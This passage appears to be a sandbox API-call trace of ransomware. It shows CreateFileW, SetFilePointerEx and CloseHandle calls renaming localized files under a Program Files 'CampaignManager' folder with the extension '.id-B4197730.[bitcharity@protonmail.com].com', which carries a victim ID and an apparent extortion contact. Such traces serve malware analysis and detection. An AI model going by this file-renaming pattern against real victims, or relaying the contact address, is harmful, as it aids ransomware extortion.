dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.061] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.061] CloseHandle (hObject=0x1168) returned 1 [0276.062] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.062] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.062] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.062] CloseHandle (hObject=0x1168) returned 1 [0276.063] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.063] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.063] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.063] CloseHandle (hObject=0x1168) returned 1 [0276.066] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.066] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.066] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.066] CloseHandle (hObject=0x1168) returned 1 [0276.067] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.067] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.067] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.067] CloseHandle (hObject=0x1168) returned 1 [0276.068] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.068] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.068] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.068] CloseHandle (hObject=0x1168) returned 1 [0276.069] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.069] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.069] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.069] CloseHandle (hObject=0x1168) returned 1 [0276.072] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.072] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.072] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.073] CloseHandle (hObject=0x1168) returned 1 [0276.073] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.073] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.073] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.074] CloseHandle (hObject=0x1168) returned 1 [0276.074] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.074] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.074] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.075] CloseHandle (hObject=0x1168) returned 1 [0276.075] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.075] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.075] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.075] CloseHandle (hObject=0x1168) returned 1 [0276.079] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.079] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.079] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.079] CloseHandle (hObject=0x1168) returned 1 [0276.080] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.080] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.080] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.080] CloseHandle (hObject=0x1168) returned 1 [0276.081] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.081] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.081] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.082] CloseHandle (hObject=0x1168) returned 1 [0276.082] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.082] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.082] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.083] CloseHandle (hObject=0x1168) returned 1 [0276.085] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.085] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.085] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.085] CloseHandle (hObject=0x1168) returned 1 [0276.086] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.086] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.086] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.086] CloseHandle (hObject=0x1168) returned 1 [0276.516] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.516] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.516] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.517] CloseHandle (hObject=0x1154) returned 1 [0276.615] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.615] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.615] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.615] CloseHandle (hObject=0x112c) returned 1 [0276.616] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.616] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.616] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.616] CloseHandle (hObject=0x112c) returned 1 [0276.617] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.617] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.617] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\et-EE\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\et-ee\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.618] CloseHandle (hObject=0x112c) returned 1 [0276.621] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.621] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.621] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.621] CloseHandle (hObject=0x112c) returned 1 [0276.677] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.677] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.677] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.678] CloseHandle (hObject=0x112c) returned 1 [0276.679] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.679] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.679] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.679] CloseHandle (hObject=0x112c) returned 1 [0276.680] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.680] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.680] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\eu-ES\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\eu-es\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.680] CloseHandle (hObject=0x112c) returned 1 [0276.683] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.683] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.683] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.683] CloseHandle (hObject=0x112c) returned 1 [0276.684] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.684] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.684] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.684] CloseHandle (hObject=0x112c) returned 1 [0276.685] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.685] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.685] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.685] CloseHandle (hObject=0x112c) returned 1 [0276.686] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.686] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.686] CreateFileW (lpFileName="C:\\Program 